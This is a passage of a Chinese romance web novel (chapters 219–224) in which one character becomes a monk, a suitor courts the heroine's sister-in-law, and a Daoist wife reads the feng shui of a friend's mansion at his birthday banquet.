《回京后,渣男和外室给我下跪敬茶》 第219章 219.剃度出家 但那些身强力壮的和尚,皆如一座座石像立在那里,任慕老太如何捶打拉拽,都岿然不动。 眼看慕煜衡的头发即将被剃光,他却依然跪在佛前,纹丝不动。 慕怀瑾便知,慕煜衡这回说的做的皆是真的,否则当第一缕发丝落下时,他便会后悔。 看来刘云蕊在他心中的份量,比他自己想象的更重。 以至于让慕煜衡如此一个纨绔又无担当之人,在一夜之间醒悟,狠下决心皈依佛门。 事已至此,慕怀瑾也尊重他的选择。若是他日后悔,自然会回来寻他们。 思及此,慕怀瑾向家丁们示意,让他们拉住慕老太。 家丁们会意一同上前,在不伤害她的前提下,对慕老太劝阻阻拦。 慕老太望见慕煜衡的头发被大把大把剃掉,心里像滴血一般痛,眼泪大颗大颗往下落。 哭喊到最后,嗓子都哑的发不出声,激动挣扎下浑身也没了力气,双腿一软向地上跪去。 若不是有家丁拉着,慕老太已瘫倒在地。 而前方的慕煜衡依旧入定般跪着,直到最后一缕发丝落地,他侧过身向方丈伏地一拜道:“弟子悟清拜见方丈。” 方丈向他道了声“阿弥陀佛”,嘱咐道:“从此刻起,你便是无量寺的悟清。与凡尘俗事再无瓜葛。” “阿弥陀佛,弟子谨遵师父教诲。” 望见这一幕,慕老太强撑着的精神终于崩溃,直接白眼一翻晕了过去。 “姑母!” 慕怀瑾不便靠近查看,徐莞便快步来到慕老太身边,与袁嬷嬷等人一同扶住她。 探过脉搏后,徐莞放下心来,对慕怀瑾说:“姑母因神情激郁突发昏厥,身子并无大碍,需卧床静养。” 慕怀瑾暗叹一口气道:“事已至此,我们早些带姑母回府吧。” 话毕,便吩咐家丁们帮着将慕老太抱出寺院。 临走之前,慕怀瑾和徐莞最后又看了慕煜衡一眼。 对方仿佛已不是他们认识的那个慕煜衡,对他们此处发生之事,无一丝反应。 徐莞暗想,谁能想到半年前那任性妄为的慕煜衡,竟会是如此结局。 这也说明了,慕煜衡并非坏而是傻。 希望他今后在这寺庙里修身养性,莫要再出来害其他女子了。 想罢,徐莞转身,与慕怀瑾一同离开。 === 一行人回到侯府后,将慕煜衡出家之事告知黎老夫人及慕家众人。众人皆震惊不已。 尤其是黎老夫人,被这消息惊得差点背过气去。赶忙服下一颗救心丸后,气息才渐渐缓过来。 慕怀灵与慕怀清夫妇,也在最初的震惊过后,渐渐接受了这个事实。 众人对着黎老夫人又是一顿安抚,才终于将她开解开,不再为慕煜衡之事而担忧。 唯有慕老太,回府后仍旧昏迷了一日。第二日虽转醒,但一病不起,日日以泪洗面,食不下咽。 黎老夫人与薛敏芝轮番去开导她,但效果甚微。 几日后慕怀瑾与徐莞去看望她时,惊见她赫然瘦了一圈,两鬓也陡然增了许多白发,整个人似是老了十岁,失去了往日的斗志与精气神。 原来,一旦精神支柱消失,此人真的会瞬间枯萎。 若是慕老太一再沉浸在此种悲伤绝望的情绪中,终有一日她会失去生的希望,走向终点。 黎老夫人只好日日去看望她,陪她说说话,开导开导她。 慕怀瑾还买了一只小哈巴狗送去慕老太院里,陪她玩耍解闷。 有了小狗的陪伴,慕老太的精神和情绪好了一些。 但仍旧身子羸弱,受不得风,受不得累。日日都待在她的福宁轩里,不太出去走动了。 整个年节,永嘉侯府便是在此种低迷沉郁的氛围中度过。 没了慕刘二人和慕老太,侯府内也清净了不少。 而这清净,却被一位上府拜访的客人暂时打破。 宁玉轩登门拜访时,慕怀灵还在床榻上赖着。 贴身丫鬟小岑前来向她禀告,有一位姓宁的公子,带着一车礼品前来登门拜访,指明了要感谢侯爷与慕小姐。 将将睡醒的慕怀灵听到姓宁的公子,起初还懵了片刻。 随即突然想起,是宁玉轩来了! 她忙不迭从床榻上蹦了起来,让小岑和其他丫鬟帮她更衣梳妆。 一面忙碌拾掇着,心中一面略略抱怨道,宁公子要来府上居然不提前写信告诉她一声,好让她有些准备啊。 今日突然造访,将她打个措手不及,她都不知宁玉轩是来做什么的,更不知该如何应对了。 一柱香后,慕怀灵匆匆忙忙赶到侯府正厅,望见宁玉轩坐在客椅上,大哥慕怀瑾坐于首座。 二人却都端着茶杯沉默不语,正厅内流转着一种别扭尴尬的氛围。 慕怀瑾在下人来报时,也未想起这位宁公子是谁。 直到下人提及,他曾是定北王麾下的一名百夫长时,慕怀瑾才隐约想起,慕怀灵似乎对自己提过此人,还想让自己帮他在京城寻一份差事。 但这两个月来,府上与生意上事务颇多,慕怀瑾早就将其抛之脑后。 今日这位百夫长亲自登门拜访,又是有何目的? 待他们二人在正厅中相见后,慕怀瑾才得知宁玉轩已被派往五城兵马司就职。今日前来是为感谢慕怀瑾与慕怀灵的提携之恩。 慕怀瑾听后心中诧异,自己并未为他走动,他能去五城兵马司任职,全凭他的本事。 宁玉轩这拜谢可谢错了。 慕怀瑾向宁玉轩说明情况,宁玉轩先是有一瞬的怔愣,随后依然向慕怀瑾表达了谢意。 慕怀瑾再与他客套一番,两人之间的话便说的差不多了。 慕怀瑾本以为至此,宁玉轩就该告辞了。没成想对方根本没有要走的意思,而是表示要等慕怀灵出来,再次对她表示感谢。 慕怀瑾尽管疑惑,却不能就此命人送客。二人只好坐在正厅中各自喝茶,等慕怀灵出来。 等待的时辰总是煎熬的,慕怀瑾将一壶茶都快喝完了,慕怀灵还未露面,将慕怀瑾急得差点要去府里将妹妹叫出来。 就在慕怀瑾忍不住打算起身时,慕怀灵的身影终于出现。 宁玉轩一见慕怀灵出现,便激动站起身。 而慕怀灵望见他的第一句话竟是,“宁公子,你怎么来了?” 第220章 220.宁玉轩上门拜访 慕怀灵望见宁玉轩的第一句话竟是,“宁大哥,你怎么来了?” 宁玉轩愣了愣,面上略略流露出尴尬之色。 片刻后他便恢复过来,向慕怀灵恭敬行礼,“见过慕小姐。玉轩今日前来,是想向侯爷跟你表达谢意。 年前我已接到朝廷下发的任免敕命,派我到五城兵马司任职。” 慕怀灵听后颇为惊喜,“真的吗?你被派到了五城兵马司?那可是京城内武官起步最好的去处了。是不是啊大哥?” 慕怀瑾点头道:“是。若是在五城兵马司做的好,将来或可提拔为御林军或禁军,进御前伺候。” 宁玉轩听后心内愈加振奋,脑中已开始幻想,自己将来当上禁军教头,十里红妆将慕怀灵娶进门的画面。 慕怀灵亦兴高采烈道:“恭喜宁大哥!但我年前不是寄过书信给你,告诉你我和大哥没帮忙吗? 所以此次任免敕命,是靠你自己获得的,不用感谢我们。” 宁玉轩刚想说话,首座上的慕怀瑾突然出声打断,“怀灵你是说,你已写信将此事告诉了宁百夫长?” “对啊。” 那方才我在向他说明未帮忙安排时,他还会惊愣片刻? 难道是装的? 慕怀瑾隐约察觉到此人有些不对,但他给宁玉轩留了面子,未在此时当面质问。 “怎么了大哥?”慕怀灵纳闷。 “没什么。”慕怀瑾说着站起身,“我还有一些生意上的事要忙,恕我失陪了。 怀灵你在此好好待客,待会儿替我送送宁百夫长。” “好的大哥。” 宁玉轩见慕怀瑾要走,立即明白他这是在下逐客令。 因而宁玉轩也跟着站起身告辞,“侯爷事务繁忙,玉轩不便叨扰,也该告辞了。” 慕怀灵见他没说几句话便要走,礼貌性地挽留道:“宁大哥怎的如此快便要走,在府上用过午膳再走吧。” 宁玉轩摇摇头,“不劳烦了。午后我还要去五城兵马司报道。时间紧迫,便不用午膳了。” 说着,便向大门方向转身,作势要走。 慕怀灵忙有眼色地跟了上去,“那我送送你吧宁大哥。我们一同出府。” 宁玉轩见此心中划过一丝希冀,看来慕小姐还是愿意与他单独相处的。 二人踱着步,慢慢向府外而去。 宁玉轩生平头一次主动上心爱的姑娘府上拜访,此时又与她单独并肩而行,心中紧张激动万分,双手紧攥成拳,手心都出了汗。 脑中更是一团浆糊一般,嘴巴也不听使唤。本想对慕怀灵问“慕小姐近来如何?” 说出口的话却变成了,“慕夫人近来如何?” 慕怀灵:“???”我何时成夫人了? 望见慕怀灵的反应,宁玉轩这才反应过来,连忙向慕怀灵道歉,“对不住慕小姐,是我笨嘴拙舌说错话,请莫要放在心上。” 慕怀灵被他那手足无措的模样逗乐,咯咯笑了起来,“没事儿宁大哥,你也别放在心上。” 经此误会,反倒让宁玉轩略略放松下来,也同慕怀灵一起笑了笑,二人之间尴尬紧绷的氛围也稍有缓解。 笑意过后,二人已步出侯府,宁玉轩不自觉吐出一口气道:“慕小姐近来可好?府中之事都处理完毕了吧?” 慕怀灵点点头,“嗯。那些事基本都过去了。来年要向前看,比去年过得更好。” “对,我去了五城兵马司也要恪尽职守,努力多干,还要干得漂亮,争取早日提拔。” 宁玉轩亦干劲十足,同时也在向慕怀灵表达自己的上进之心。 “嗯,宁大哥能力卓越,又人品贵重,五城兵马司的指挥们定能慧眼识珠。我看不出三年,你定能受到提拔。” “三年...”宁玉轩顿了顿,喃喃一句,“三年会不会太久了...” 慕怀灵年后已满十七,再过三年便二十了。 盛国女子大多十六七行婚嫁之礼,很少有二十才嫁人的。到时就算嫁人,也会受到世人嘲笑。 慕怀灵作为侯府小姐,饶是她自己不急,慕侯爷以及侯府的长辈们定会为她的婚事操心,断不会让她等到二十成了老姑娘,受尽他人嘲笑。 而自己目前将将进入五城兵马司,还不知有无官职,是万万配不上慕怀灵的。 这该如何? 一旁的慕怀灵未听清他的话,追问了一句,“你说什么?” 宁玉轩立即回过神,“哦没什么,只是忽然想到,三年后我便二十三了,不知何时才能成家。” 紧接着,宁玉轩壮起胆子试探着问:“慕小姐,侯府可为您物色了良婿?” 突然提到婚嫁之事,慕怀灵一怔,不知宁玉轩是何意,一时间也不知该如何接口。 短暂的停顿过后,慕怀灵才道:“没有,我大哥和我娘为我选的那些公子,我都看不上。如今他们便很少为我相看了。” 慕怀灵扬首轻叹一声,状似不在意道:“哎嫁不嫁人我无所谓。若是要嫁人,我定要嫁能与我心意相通之人,万不会随随便便就将自己嫁了。” 听了慕怀灵的话,宁玉轩总算放下心来。看来她不会突然将自己嫁掉,如此,自己便还有机会。 宁玉轩颔首,嘴角噙着淡淡笑意,“我与你的想法相同。我想娶的女子,无需贤妻良母,无需温柔和顺,只需与我志趣相投,进退同心,相伴到老。 其他柴米油盐之事,皆由我安排妥当,定不会让她受丁点劳累。” 慕怀灵听后眼中一亮,心中暗道他所说的话,听来确实与自己想象中的夫妻关系相吻合。只是... “那宁大哥,你娶妻之后还会纳妾吗?”慕怀灵不由得脱口问出,随后立即意识到,这么问会不会太直白了。 但宁玉轩并未多想,凝视着她利落给出答复,“不会。玉轩愿得一人心,此生足矣。” 如此简单的一句话,却如同一支烟花,瞬间击中慕怀灵的心窝,刹那间爆发出心花万朵。 从小到大,在慕怀灵眼中,家中的爹娘哥哥们,皆是一夫一妻,从未纳过妾。 因此她也立志寻找,愿只与她一人相伴到老的夫婿。 愿得一人心,白首不相离。 正是慕怀灵的心愿。 第221章 221.第二段孽缘 愿得一人心,白首不相离。 正是慕怀灵的心愿。 没成想,宁大哥在这一点上,也能满足她的想象。 思及此,慕怀灵颔首羞赧一笑。 宁玉轩望见她的表情,便知自己说到她心坎上了。 她红扑扑的脸颊,和笑意弯弯的眉眼,皆甜到他心窝里去。 不知不觉间,二人已走到宁玉轩的骏马旁。 在上马之前,宁玉轩从怀中取出一支玉簪递给慕怀灵。 “怀灵小姐,前日我去首饰铺子,一眼便相中了这支玉簪。它温润清透的玉质,让我瞬间想到了你。 它或许不是那么贵重,但却是我的一片心意。还望怀灵小姐莫要嫌弃。” 慕怀灵望见那支玉簪眼前一亮,“不嫌弃!这支玉簪如此精致好看,我怎会嫌弃。多谢宁大哥,我收下啦。” 宁玉轩含笑点头,而后翻身上马,最后侧头向她道别。 “怀灵小姐来日方长,玉轩先行告辞。若你愿意,改日我们再见。” “好,我们书信联系!”慕怀灵向他喊道。 宁玉轩微一颔首,接着扯扯缰绳,大喊一声“驾!”。马儿便带着他飞驰而出。 慕怀灵立在原地望着他的背影,心中涌起一股久违的安心与幸福。 === 这日傍晚用晚膳前,徐菀终于带着两位徒弟外出给人算卦归来。 一踏入松风苑,慕怀瑾便向他们迎了过来。 “菀菀,你终于回来了。可让你夫君好等啊。”说着,抬手握住徐菀的手臂,一副“一日不见,如隔三秋”的表情。 跟在徐菀身后的朱雀与白虎望见这一幕,齐齐惊呆。 谁能想到,外人口中那个不苟言笑、冷峻厉然的“慕老虎”,见了自己的夫人,竟是这副舔狗般的模样。 眼见慕怀瑾握住自己的手臂,倾身就要向自己亲过来,徐菀连忙打住。 “停停停!你这是要作甚?朱雀和白虎还在后头呢。” 不仅是朱雀和白虎,东珠与若画等丫鬟们也随慕怀瑾一同迎了出来,正立在他身后掩唇偷笑。 慕怀瑾的动作一顿,接着轻咳两声,站直了身子与徐菀拉开距离,装出一副正经又若无其事的样子。 “咳咳,夫人又带朱雀白虎出门历练了。今日徒儿们表现如何?” 为给慕怀瑾找台阶下,白虎立马搭腔,“回侯爷,我姐姐今日为一位大娘算了一卦,堪堪算准了今日她家会失火。 结果下午大娘就回来找我们说家里果真失火了。还好有我姐姐的提醒,她才能及时灭火,未酿成大祸。她给了我姐姐五十两银子呢。” 慕怀瑾微讶,“如此厉害?看来朱雀快要出师了。” 朱雀谦逊道:“都是师父教导有方,我才能进步如此快。” 徐菀也跟着互捧起来,“朱雀出身道门世家,又天资卓越。跟着为师好好学,将来定成一方大师。” 一番互捧之后,慕怀瑾方才的失态终于揭了过去。 东珠上前一步道:“侯爷、夫人,晚膳已备好。请侯爷夫人移步花厅用膳。” “好。菀菀我们走吧。” 徐菀先由若画陪着稍稍梳洗后换上便服,随后来到花厅,慕怀瑾已坐在桌边等她了。 望见这一幕,徐菀打趣道:“以往都是我在府中等你回来用膳。今日恰好颠倒,换你在府中等我了。” 慕怀瑾起身帮她挪开椅子,又在椅子上放好靠垫,待她坐下后,自己才落座。 二人便在这绿植环绕,花香满室的花厅中,聊着天用起晚膳。 “今日恰好没什么生意上的事,便留在府中休息了。”慕怀瑾道:“不过,倒恰好让我碰上一件秘事。” “秘事?是什么?”徐菀好奇问。 慕怀瑾却卖起了关子,“你不是会算卦吗?何不算算是何秘事?” 徐菀:“......”小样儿,还跟我来这一套。 望见徐菀的眼神,慕怀瑾便不再逗她了。“好了我说。” 随后,慕怀瑾便将今日宁玉轩前来府中拜访一事讲给了徐菀。 “...他看似是来拜谢我,实则是来找怀灵的。我寻思着,他与怀灵之间...是不是已有了些情愫?” 听完慕怀瑾的描述,徐莞心下已明白了,这位宁百夫长应就是怀灵的第二段孽缘了。 但天机不可泄露,她只好不动声色地向慕怀瑾道:“都如此明显了还需问我? 依你看,那位宁百夫长人品性情如何?配得上怀灵吗?” 慕怀瑾吃着菜,沉思片刻才道:“依我所见,此人有些奇怪。” “怎么个奇怪法?”难道慕怀瑾已看出来不对之处? 慕怀瑾又将宁玉轩装作不知他们没帮忙之事告知徐莞,分析道: “若怀灵此前去信对他说过此事,他必定知晓我们未曾帮忙,却还装作不知,待怀灵说出此事后才承认。 当即我便觉得此人有些不实在,将我当作傻子忽悠。随后我便找了个借口先行离开,他便也告辞让怀灵陪着一同出府。” 徐莞听后应道:“如此看来,此人人品确实有待考量。那怀灵对他的态度如何?言语行为间与他亲密吗?” “怀灵还好,与他说话时还算正常,但明显不讨厌他,甚至可能对他有些好感。 或许是我在场的缘故,不知他们私下里关系如何。” 徐莞思忖片刻道:“这样的话,我觉得有必要去探探怀灵的心思了。” 慕怀瑾与徐莞的想法不谋而合,“我正有此意。只是不知谁去探她的心思合适?” “那必然是朱雀与白虎了。”徐莞放下筷子睨着慕怀瑾含笑道:“他们三人年纪相仿,又经常混在一起。让他们去问问,再合适不过了。” 慕怀瑾当即拍板,“好,就这么办。”欣然一笑,而后又道: “对了菀菀,还有一事。再过几日便是周祎仁那个家伙的生辰了。 他打算在府中设宴邀请我们与怀灵,和怀清一家三口同去庆生。你记得将那日空出来,与我们同去。” “好。”徐莞应了一声,又道:“怀清一家三口与周大人的关系也很好啊?” 第222章 222.儿女双全 “怀清一家三口与周大人的关系也很好啊?”徐莞问。 “对,他们关系也不错。不过主要是因为煜峥的关系。周祎仁的长子平章与煜峥年纪相仿,从小又一起长大,亲如兄弟。 且今年他们都报名了春考,下个月便要去参加会试了。在开考前借此机会让他们见面聊聊天,不失为缓解压力的好办法。” 徐莞了然地点点头,“原来如此。你放心,我会为周大人准备一份好礼的。” === 平静的日子过得飞快,转眼间便到了周祎仁生辰这日。 周祎仁此人虽大大咧咧,性格豪爽,却仅和与自己兴致相投之人关系亲近。 因此他的生辰宴,除了邀请他的族人外,仅邀请了一些他在刑部的好友。 除此之外,便是永嘉侯府中人,及定北王鄞玄了。 周祎仁的生辰宴定于该日酉时,慕家六人申时便带上各自准备的礼品,分别坐上两辆马车,向周府而去。 抵达周府。 周府的刘管家热情地出门迎接,“呦,慕侯爷、夫人您们来了!快请进。 我家大人和夫人正在月琅轩为生辰宴做准备。各位请随小的来。” 慕怀瑾一行人跟随刘管家来到月琅轩,见月琅轩的庭院中,摆着几张茶座与桌椅,其上摆放着考究的茶具,供客人宴饮后在此品茶谈天。 周祎仁的夫人秦韶华,正在庭院中指挥着下人们将一盘盘鲜美水果与精致茶点,一一摆在几张茶座及桌椅上。 慕怀灵一见到秦韶华,便兴高采烈的迎了上去,“嫂嫂好!我们来啦!” 秦韶华听见声音转身望过来,见是怀灵与慕怀瑾等人,面上即刻露出一抹兴然的笑。 “怀灵来了啊。慕大哥、菀菀,欢迎各位莅临寒舍。” 秦韶华向他们一一打了招呼,将慕怀清一家三口也嘘寒问暖一番,见他们带了如此多礼品,感激地客套道: “以我们两家的关系,你们来做客便好,带如此多礼品作甚。待会儿祎仁看到又该说我了。” 慕怀瑾道:“弟妹说的是。但该有的礼数还是不能略去。否则祎仁那个小肚鸡肠的家伙,之后不知会如何花绞我呢。” 此话一出,大家都哈哈大笑起来。没成想慕怀瑾如此冷厉的性子,还会讲出这种笑话。 众人的笑声还未落下,一道爽朗又带着几分揶揄与埋怨的嗓音,蓦然从月琅轩厅门口传来。 “在厅里就听到你们的笑声了。姓慕的,又背着我说我的坏话,别以为我没听到!” 众人抬首望去,见周祎仁慵懒地斜倚在门框上,微微眯起眼望向慕怀瑾,面上一副小媳妇记仇的模样。 慕怀瑾丝毫不惧,反而迎着他走了过去,继续腹黑道:“我何时背着你说坏话?我都是当你面说的。” “哈哈哈哈哈哈...” 这次就连周祎仁自己也跟着大家一同笑了起来。 笑着笑着,周祎仁走下台阶,慕怀瑾张开双臂,豪情万丈地拍拍周祎仁的双臂,道:“祎仁,祝你生辰安康。” 周祎仁亦拍拍他的肩,“多谢兄弟。”而后看向徐菀等人,“还有徐观主,怀清弟妹和煜峥。感谢各位赏脸来捧场。 大家莫要拘束,在我这儿就跟在侯府一样,吃好喝好玩好。有任何需要尽管跟周某与韶华讲。” “我呢周大哥?你把我给忘了?”慕怀灵从人群后方走上前来,打趣道。 “哈哈哈我忘了谁都不敢忘了咱们怀灵小姐啊。”周祎仁大笑着拍拍她的肩: “待会儿有几位我刑部的好友也会前来参加生辰宴,其中不乏才貌双全的青年才俊。若是你看上哪个,随时给你周大哥我说啊。” 慕怀灵被他逗得立时脸红,抖去他的手,嗔怪道:“哼我才不要呢。你留着给你家嫣儿吧。” 嫣儿乃周祎仁疼爱的小女儿,今岁还不到七岁。 周祎仁儿有十二岁的周平章,女有周嫣,未及不惑便儿女双全,着实令人艳羡。 “嫣儿还小,今后有的是夫婿任她挑。目前还是怀灵你的人生大事比较紧急啊。” 慕怀灵嗔怒地瞪了一眼周祎仁。 岂有此理,周大哥总是哪壶不开提哪壶。如今还当着大家的面说她,真是让她丢脸死了。 慕怀灵正准备回话将他呛两句,谁料一道甜甜糯糯的小姑娘声音,忽然在众人身后响起。 “爹娘,你们又在说嫣儿什么呢?是不是要给嫣儿买糖吃啦?” 众人回身望去,但见一位十二三岁的俊美少年,牵着名六七岁粉雕玉砌的女童,出现在众人身后。 正是周平章与周嫣。 周祎仁见到周嫣,立即眉开眼笑,微微俯下身张开双臂。周嫣便欢笑着朝他奔了过去,一头扎进他的怀抱。 周祎仁顺势将她抱起来,让她高高坐在自己的臂弯中,宠溺地逗着她,“我的嫣儿来喽。 今日是爹的生辰,爹不仅要给你买糖吃,还给你买风车玩,好不好啊?” “好啊!爹爹太好啦,谢谢爹爹!”周嫣甜甜地笑着,在周祎仁脸颊上香了一口。 庭院中众人望见了,皆不约而同露出一抹会心的笑。 而这一幕落入一旁的慕怀瑾眼中,竟让他恍然间心生艳羡与感叹,若是自己也有这样一个软糯可人的小女儿该多好啊。 思及此,慕怀瑾不由得将目光投向身旁的徐菀身上。 徐菀此时亦浅笑着望着,周祎仁父女俩亲密有爱的互动。 不知是慕怀瑾的臆想还是什么,他竟觉得徐菀的眼中,也闪烁着母性的光辉。 慕怀瑾胸中涌起一股莫名的激动,伸手在袖中悄悄拉了拉徐菀的手。 徐菀侧过脸望向他,慕怀瑾略略靠近她,期盼又感慨地小声道:“菀菀,我们何时才能有那样一个女儿啊。” 徐菀不禁一怔,慕怀瑾这是想做女儿奴了? 不过到了他这个年纪,想要儿女孙辈承欢膝下,也是人之常情。 想到此处,徐菀用另一手拍拍他的手背,柔声安抚道:“你命里有一儿两女。放心,迟早会有的。” 第223章 223.周府生辰宴 “你命里有一儿两女。放心,迟早会有的。” 慕怀瑾:“!!!” “此话当真!?” “千真万确。”徐菀认真回道:“并且须我在你身旁,为你去除周身黑气之后,不出两年第一个孩子就会降生。” 慕怀瑾:“!!!” 慕怀瑾的心情愈加激动,握住徐菀的手越来越紧。 菀菀真是她的福星。他后半生的幸福,就交给菀菀了。 与此同时,周平章见了慕煜峥,也不自觉地朝他们走了过去。 向慕怀清薛敏芝夫妇问过好后,两位少年便兴致勃勃,相携去花园中找个人少的地方聊聊天。 二人来到花园中的池塘边,慕煜峥似乎比周平章对此处更熟,指着池塘边的两块石头道:“咱们就坐这儿吧。此处人少,清净。” “好。”周平章轻轻应了一声,便与他在石头上坐了下来。 两位少年年龄相仿,但性格却不甚相同。 与他爹开朗逗趣的性格不同,周平章性子温润腼腆,且作为长子,从小管教严格,为人稳重又守矩。 而慕煜峥的性子比他开朗不少,从小两人时常玩在一起,也都是慕煜峥带着周平章,爬树爬土堆、射兔子掏鸟窝。 周平章虽性子温吞话不多,但每次只要慕煜峥带他玩,他都会屁颠屁颠跟在慕煜峥后面,似个小尾巴。 尽管性格迥异,二人的友谊却并未受何影响,反而随着年岁的增长,感情愈加深厚。 如今二人又要一同走上春考的考场,可谓人生轨迹相同,互生出惺惺相惜之感。 二人都坐下后,慕煜峥随手捡起脚边的几颗石子,朝池塘里投去。 石子在池面上打了两个水漂,沉入池中。 慕煜峥又扔出一颗石子,一面开口道:“这数月来我日日都在书房埋首苦读,真是闷死了。平章你过得如何?” “我也同你无二,日日苦读诗书策论,如今看到那些密密麻麻的文字,我都想吐。” “哈哈哈……”慕煜峥笑道:“我也是!咱俩还真是同命相连啊。” 周平章望着池面上泛起的涟漪,轻叹一声道:“哎,真希望这次的会试你我都能取得好名次。如此爹娘就不会将我们逼那么紧了。” 慕煜峥投完最后一颗石子,转过身望向周平章,自信一笑,“嗯,我觉得你我取得前五十名应该没问题。” “前五十?”周平章略略诧异,有些不确定,“参加会试的举人来自盛国全境,其中不乏博才多识之人。前五十名,不是那么易得的。” “怕什么!”慕煜峥拍着他的肩膀道:“我们可是京城的举人,府中师傅的水平,自然比其他州县要高的多。 我们要担心的不是州县的举人,而是京城其他高官世家的子弟。” 慕煜峥压低声音道:“我听闻有些高官世家,会暗中收买考官,提前得知试题…” “啊!此言当真?” 慕煜峥神秘兮兮道:“当然。我师傅说,参加春闱的考生们所住的书院阁,十年间已不明不白死了五名考生有余。 每年住在书院阁的考生们,每晚都能听到一些阴森的嗓音说着:冤啊…我冤啊…买题作弊之人该死…我要你们的命……” 慕煜峥操着阴森的嗓音,在周平章耳边幽幽道,接着突然提高声音凑到他面前。 将周平章吓得从石头上跌了下来,一屁股坐在地上,痛叫一声,“哎呦!” 望见他被吓得脸色煞白、惊慌失措的模样,慕煜峥却在一旁笑得前仰后合,“哈哈哈……” 周平章红着脸,气鼓鼓从地上站起身拍拍屁股上的泥土,不满道:“煜峥哥你又耍我!” “哈哈哈我逗你玩呢。你不会真信了吧?” 周平章挺起胸膛道:“哼,我才不信!就算书院阁里真有鬼魂我也不怕!” “这话我可记住了。”慕煜峥斜睨着他揶揄道:“到时候若是遇上了,你可别吓得尿裤子。” 周平章直接一脚朝他踹了过去,“你才尿裤子!你才尿裤子呢!” 慕煜峥大笑着跑开,周平章在后方追着,“慕煜峥你别跑!有本事给我站住!” 二人在花园里你追我赶了好一阵,随即便打闹在一起。 两位整日埋头苦读的少年,今日终于有机会能追跑打闹一番,不一会儿便感受到久违的放松与欢乐。 在两位少年欢笑玩闹的同时,月琅轩前院又迎来了一位贵客。 “呦!快看这是谁来了啊!微臣参见定北王!王爷大驾光临,真是令寒舍蓬荜生辉啊!” 周祎仁说着,举止夸张地要为鄞玄下跪行礼。 鄞玄无奈地将其搀扶住,不怒自威,“你小子,做表面功夫做到我面前来了。” 周祎仁嬉皮笑脸地站起身,向鄞玄揶揄道:“这不是你回京后第一次上我府上作客。我必须将全套礼节做全了,显示对你的尊重嘛。” 鄞玄一听,也跟他摆起架子来,“既然如此,周大人对本王竟不用敬语,一口一个‘你’,见到本王也不下跪行礼,该当何罪?” 周祎仁面上即刻配合地浮现出慌乱的表情,紧接着手忙脚乱要给鄞玄下跪,将庭院中众人逗得哈哈大笑。 欢笑过后,慕怀瑾与徐菀向鄞玄走近一步,慕怀瑾伸出手向他打了招呼,“阿迦,一月不见,近来可好?” 鄞玄抬手与他握了握拳,“还好,多谢挂念。多亏了你与夫人的救命之恩。 还要感谢夫人帮我府上做了场法事,自那之后我便感觉身子爽利不少,精神也日益精进。定北王府内的所有事务,皆顺心异常。” 徐菀谦虚道:“王爷客气了。您为青云观添了不少香火钱,妾身为您做三场法事都不为过。” 听闻此话,周祎仁的耳朵立时竖了起来,“哎徐观主,您为何只为定北王府做法事,怎的不为我周府做场法事呢?” 慕怀瑾白了他一眼,“鄞玄为青云观添了八千两香火钱。你打算添多少?” “八千两!”慕怀瑾这个奸商真黑啊,将徐观主都带坏了。 谁料,徐菀忽然认真地望向周祎仁道:“周大人,您府上确实需要做场法事了。择日不如撞日,今日我便帮您将那祸患拔除。” 第224章 224.周府风水 “周大人,您府上确实需要做场法事了。择日不如撞日,今日我便帮您将那祸患拔除。” 此话一出,在场众人皆愣住了。尤其是周祎仁与秦韶华,似被徐莞严肃的表情吓住,秦韶华忧心忡忡道: “菀妹妹,你此话当真?我们府上真有不干净的东西?” 徐莞不答反问,“你们近来晚间是否失眠多梦,且梦境多与水火有关?” “是的是的!”周祎仁点头如捣蒜,“昨晚我梦见京城发大水,将我周府一下子冲垮。前天晚上梦的是府中着了大火,怎么扑都扑不灭。” “我也是…”秦韶华面上的血色渐渐褪去,“昨晚我梦见全家在河中泛舟,我的嫣儿不小心掉进了河里。我跳进湖里去找,怎么都找不到……” 秦韶华说着,眼泪啪嗒啪嗒落了下来。 慕怀灵忙安慰道:“嫂嫂别担心。那只是梦,嫣儿不是好端端在这儿吗。 况且我大嫂已看出来府上的问题,今日定能为你解决。” 徐莞接口道:“姐姐莫担忧。府上并不是有脏东西,而是风水出了些小问题。不用做法事,帮你们改改格局便好。” 周祎仁环住秦韶华的肩,顺势向徐莞道:“好,那就劳驾徐观主了。” 徐莞其实在初入周府时,就发现了府中风水方面的问题。 她本想等生辰宴结束后,再为周府改风水。如今恰好提到此事,她便顺势提出了。 出了这档子事,众人都没了宴饮的心情,皆盼着徐莞早些将风水之事解决。 还有些周祎仁邀请来的宾客,听说永嘉侯夫人会道术,要为周府改风水,立时来了兴趣,都想跟着过去一看究竟。 因此,周府今日邀请来的二十多位宾客,皆乌泱泱跟着徐莞等人从月琅轩出来,向周府大门方向而去。 一进大门处,便可见一棵高大挺拔的杨柳,伫立在前院正中。 此棵杨柳树高约六米,枝条密集修长,树干之粗壮,须三个成人方能环抱。 此时刚过立春时节,一根根柳条已抽出点点嫩绿的颜色,搭配灰褐色的枝干,别有一番老树逢春的韵味。 众人随着徐菀来到这棵杨柳树下,只见她将此树上下打量一番后道:“这棵杨柳树根基粗壮,枝繁叶茂,种植在庭院前方可挡煞化灾。 若是我没猜错,周大人将此树种在此地,是为了挡府中的屋脊煞吧。” 徐菀的目光向前厅屋脊望去,众人也循着她的目光望了过去。 周祎仁拍手激动道:“徐观主眼光果然厉害,屋脊煞都看出来了!” 而后,周祎仁向慕怀瑾等人解释道:“当初我买下这栋宅子时,原宅主就告诉过我,前厅的屋脊成直角丁字走形,会对周围屋宅形成屋脊煞,易致疾病、暗算、破财。 但他在前院中种上这棵杨柳树,与屋脊煞对冲,便可抵消灾祸,还可保佑家宅安宁、合府兴旺。 在搬进此宅之前,我也曾请紫霄观的大师看过,大师的说法与原宅主相同。 难道是他们骗了我?这棵杨柳树有问题?” 徐菀摇摇头道:“原宅主与紫霄观大师说的都没有问题。只是近期您府中多了些东西,才让风水发生了变化。” “多了什么?” 徐菀指着杨柳树胸有成竹道:“此棵杨柳树位于正南方,此方位在五行中属火。火与木结合,确实可对冲屋脊煞,还可使家宅兴旺,升官进爵。” 说到此处,徐菀顿了顿,朝前厅内走去,众人也赶紧跟了上去。 到了厅中,徐菀指着前厅中央摆放的桌椅及屏风道:“原宅主确实请风水大师布置过。 前厅内无墙壁,前后门皆大开。正中若是没有这些桌椅屏风,便会让杨柳树正对后门外的池塘。 而杨柳树的木与火,正对上池塘的水,便会形成水火对冲的态势,导致整个周府陷入水火之中。 因而风水大师在前厅摆了桌椅屏风,以阻挡池塘的水。 同时那个池塘面积小,水也不深。水之力无法与木火抗衡,又可为周府聚财。 